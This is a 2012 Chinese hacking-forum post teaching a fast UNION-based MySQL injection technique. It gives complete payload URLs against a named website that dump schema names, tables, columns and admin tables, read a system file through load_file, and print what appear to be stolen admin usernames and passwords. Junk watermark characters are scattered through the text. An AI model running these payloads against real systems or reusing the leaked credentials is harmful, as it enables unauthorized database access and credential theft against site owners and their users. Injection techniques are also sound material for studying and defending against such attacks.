找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2173|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
4 k  D1 H5 k6 c) x但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人7 `0 a$ B1 [4 e7 V! `* C
3 j' `: c$ z& t$ e! k- z7 p

6 i+ R9 ^# ]# U. H; m/ l1 J8 z- l, T+ g优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入1 \5 _) l4 `+ a! C/ u4 [

$ I; A+ X! B4 v3 ]缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...- M5 p9 m6 e' w4 o5 {
. w% ]8 q! z" u6 u6 D9 o4 D7 \! A
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
2 m5 e+ N+ ~  {7 z" ^1 e2 `% ?在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等
) {" R5 z3 i& Q
! P+ {* {, t1 P" ~http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17; k  m- G5 G: q* c
: P" R; b" B3 K1 b$ R
读出所有库:" t* D2 v9 J' L5 V* L
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
, l: h7 n4 z- `4 S0 [; B/ A5 M2 J$ V! S

3 n4 k' X; v: Y4 ]; u# [( {" X& C1 {1 y0 _. R
读出所有表:2 H5 ]4 A6 g3 J' O- W, r
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()8 m9 J" _; b0 n. q1 s
, o" V3 p0 k7 b4 c5 O, M  ^( }  S
读出所有表字段:; \7 V, h' ~7 @7 A6 p1 j0 {
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
* u, `# l( w* M, w1 k* ~, p% r*/ (97,100,109,105,110)为admin的ascii码 依次类推
. r4 H2 U0 H: y1 [9 \8 S9 U  h) S/ Y7 Q& i
读出所有表字段里的内容:
6 I+ d( {8 Z) [, F# ?0 c4 Rhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
: M" {) P, o8 @2 N* |/ A
! H% G, A' n6 c8 l
% O4 H* M. r" R' y* [4 @$ ]- q- l$ F

9 [& B( L( x8 \0 B% A
4 W4 T( t1 ~( m/ x+ S6 V# w0 H. L! X; |( r& V( b7 I* _' x
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
. a( }, X) w/ W# ^# B' E: a5 J) x: i/ n
) R% v' S$ ^% P4 y) B' W9 M9 _
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
+ L" e2 f' A, @9 Z" j. p0 j8 D9 v
/ d5 ]) U6 C" X& ?, W& Dhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23/ M3 j4 M- D+ {0 t5 }

8 O/ ]) D( n; P& l" z5 n: D
6 M3 X. c1 U' Z7 J; hhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23, x7 m$ i' C8 Y, b! l$ s7 B) E9 [

6 S) U! ^% }8 v- X! f, z: X6 {. L6 l7 R" E, n, d1 o
        webmaster:dzb521123,simlab:simadmin20043233
/ M9 {9 j- h$ U7 H( l9 i* x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表